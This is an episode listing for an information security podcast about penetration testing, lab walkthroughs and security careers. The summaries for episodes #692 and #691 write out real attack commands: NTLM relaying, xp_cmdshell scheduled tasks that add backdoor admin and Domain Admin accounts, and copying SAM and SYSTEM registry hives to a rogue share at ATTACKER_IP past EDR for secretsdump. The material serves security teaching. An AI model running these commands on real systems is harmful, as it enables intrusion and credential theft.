Artwork for 7 Minute Security
Technology

7 Minute Security

Brian Johnson

7 Minute Security is a weekly information security podcast focusing on penetration testing, blue teaming and building a career in security. The podcast also features in-depth interviews with industry leaders who share their insights, tools, tips and tricks for being a successful security engineer.

  • 733 episodes
  • Updated Friday

Episodes733

  • Sep 19, 2025 · 28 min

    7MS #693: Pwning Ninja Hacker Academy – Part 3

    This week your pal and mine Joe "The Machine" Skeen kept picking away at pwning Ninja Hacker Academy. To review where we've been in parts 1 and 2: We found a SQL injection on a box called SQL, got a privileged Sliver beacon on it, and dumped mimikatz info From that dump, we used the SQL box hash to do a BloodHound run, which revealed that we had excessive permissions over the Computers OU We useddacledit.py to give ourselves too much permission on the Computers OU Today we: Did an RBCD attack against the WEB box Requested a service ticket to give us local admin superpowers on WEB Performed a secretsdump against WEB Struggled to do a mimikatz dump at the end of the episode (after we ended the stream I realized I could've just done the mimikatz dump because I had local admin access! Oh well, we'll pick things up again during part 4 next month!)

  • Sep 12, 2025 · 32 min

    7MS #692: Tales of Pentest Pwnage – Part 76

    Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\ From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

  • Sep 5, 2025 · 31 min

    7MS #691: Tales of Pentest Pwnage – Part 75

    Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today's episode: Got an SA account to a SQL server through Snaffler-ing With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv I didn't have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f …and ran it: schtasks /run /tn "TotallyFineTask"

  • Aug 29, 2025 · 21 min

    7MS #690: Tales of Pentest Pwnage – Part 74

    Today's tale of pentest pwnage is a classic case of "If your head is buried in the pentest sand, pop it out for a while, touch grass, and re-enumerate what you've already enumerated, because that can lead to absolute GOLD!"

  • Aug 22, 2025 · 15 min

    7MS #689: Pwning Ninja Hacker Academy – Part 2

    Hello friends! Today your friend and mine, Joe "The Machine" Skeen joins me as we keep chipping away at pwning Ninja Hacker Academy! Today's pwnage includes: "Upgrading" our Sliver C2 connection to a full system shell using PrintSpoofer! Abusing nanodump to do an lsass minidump….and find our first cred. Analyzing BloodHound data to find (and own) excessive permissions against Active Directory objects

  • Aug 16, 2025 · 22 min

    7MS #688: Building a Pentest Training Course Is Fun and Frustrating

    Today I talk about a subject I love while also driving me crazy at the same time: building a pentest training course! Specifically, I dissect a fun/frustrating GPO attack that I need to build very carefully so that every student can pwn it while also not breaking the domain for everybody else. I also talk about how three different flavors of AI failed me in solving a simple task.

  • Aug 11, 2025 · 57 min

    7MS #687: A Peek into the 7MS Mail Bag – Part 5

    Hi friends, we're doing something today we haven't done in a hot minute: take a dip into the 7MinSec mail bag! Today we cover these questions: If I'm starting a solo business venture as a security consultancy, is it a good idea to join forces with other solo security business owners and form a consortium of sorts? Have you ever had anything go catastrophically wrong during a pentest? Yes, and this is an important link in the story: https://github.com/fortra/impacket/issues/1436 What ever happened with the annoying apartment neighbor who stomped around like a rhino when you made any noise during COVID? What happened to the "difficult family situation" you vaguely talked about a few months ago that involved police and lawyers – did that ever get resolved?

  • Aug 1, 2025 · 23 min

    7MS #686: Our New Pentest Training Course is Almost Ready

    Oh man, I'm so excited I can hardly sleep. Our new three-day (4 hours per day) training is getting closer to general release. I talk about the good/bad/ugly of putting together an attack-sensitive lab that students can abuse (but hopefully not break!), and the technical/curriculum-writing challenges that go along with it.

  • Jul 25, 2025 · 22 min

    7MS #685: The Time My Neighbor Almost Got Scammed Out of $13K

    Today's kind of a "story time with your friend Brian" episode: a tale of how my neighbor almost got scammed out of $13k. The story has a lot of red flags we can all keep in mind to keep ourselves (as well as kids/friends/parents/etc.) safer from these types of shenanigans.

  • Jul 18, 2025 · 22 min

    7MS #684: Pwning Ninja Hacker Academy

    Hey friends, today we start pwning Ninja Hacker Academy – cool CTF-style lab that has you start with no cred and try to conquer domain admin on two domains!

  • Jul 12, 2025 · 30 min

    7MS #683: What I'm Working on This Week - Part 4

    This week I'm working on a mixed bag of fun security and marketing things: A pentest I'm stuck on My latest lab CTF obsession: Ninja Hacker Academy A cool "about 7MinSec" marketing video that was recorded in a pro studio!

  • Jul 4, 2025 · 30 min

    7MS #682: Securing Your Family During and After a Disaster – Part 7

    Today's episode is a downer! We talk about things you might want to have buttoned up for when you are eventually not alive anymore: Living will Buried vs. cremated? Funeral plans Funeral PHOTOS? I also talk about how my dad broke his ribs while trying to break a chimpmunk, and how a freak 4-wheeler accident also had my ribs in agony.

  • Jun 27, 2025 · 18 min

    7MS #681: Pentesting GOAD – Part 3

    Today Joe "The Machine" Skeen and I pwn the third and final realm in the world of GOAD (Game of Active Directory): essos.local! The way we go about it is to do a WinRM connection to our previously-pwned Kingslanding domain, coerce authentication out of MEEREEN (the DC for essos.local) and then capture/abuse the TGT with Rubeus! Enjoy.

  • Jun 20, 2025 · 26 min

    7MS #680: Tips for a Better Purple Team Experience

    Today I share some tips on creating a better purple team experience for your customers, including: Setting up communication channels and cadence Giving a heads-up on highs/criticals during testing (not waiting until report time) Where appropriate, record videos of attacks to give them more context

  • Jun 13, 2025 · 30 min

    7MS #679: Tales of Pentest Pwnage – Part 73

    In today's tale of pentest pwnage I talk about a cool ADCS ESC3 attack – which I also did live on this week's Tuesday TOOLSday. I also talk about Exegol's licensing plans (and how it might break your pentest deployments if you use ProxmoxRox).

  • Jun 6, 2025 · 33 min

    7MS #678: How to Succeed in Business Without Really Crying – Part 22

    Today I share some tips on presenting a wide variety of content to a wide variety of audiences, including: Knowing your audience before you touch PowerPoint Understanding your presentation physical hookups and presentation surfaces A different way to screen-share via Teams that makes resolution/smoothness way better!

  • May 16, 2025 · 31 min

    7MS #675: Pentesting GOAD – Part 2

    Hey friends! Today Joe "The Machine" Skeen and I tackled GOAD (Game of Active Directory) again – this time covering: SQL link abuse between two domains Forging inter-realm TGTs to conquer the coveted sevenkingdoms.local! Join us next month when we aim to overtake essos.local, which will make us rulers over all realms!

  • May 9, 2025 · 49 min

    7MS #674: Tales of Pentest Pwnage – Part 71

    Today's tale of pentest pwnage is another great one! We talk about: The SPNless RBCD attack (covered in more detail in this episode) Importance of looking at all "branches" of outbound permissions that your user has in BloodHound This devilishly effective MSOL-account-stealing PowerShell script (obfuscate it first!) A personal update on my frustration with ringing in my ears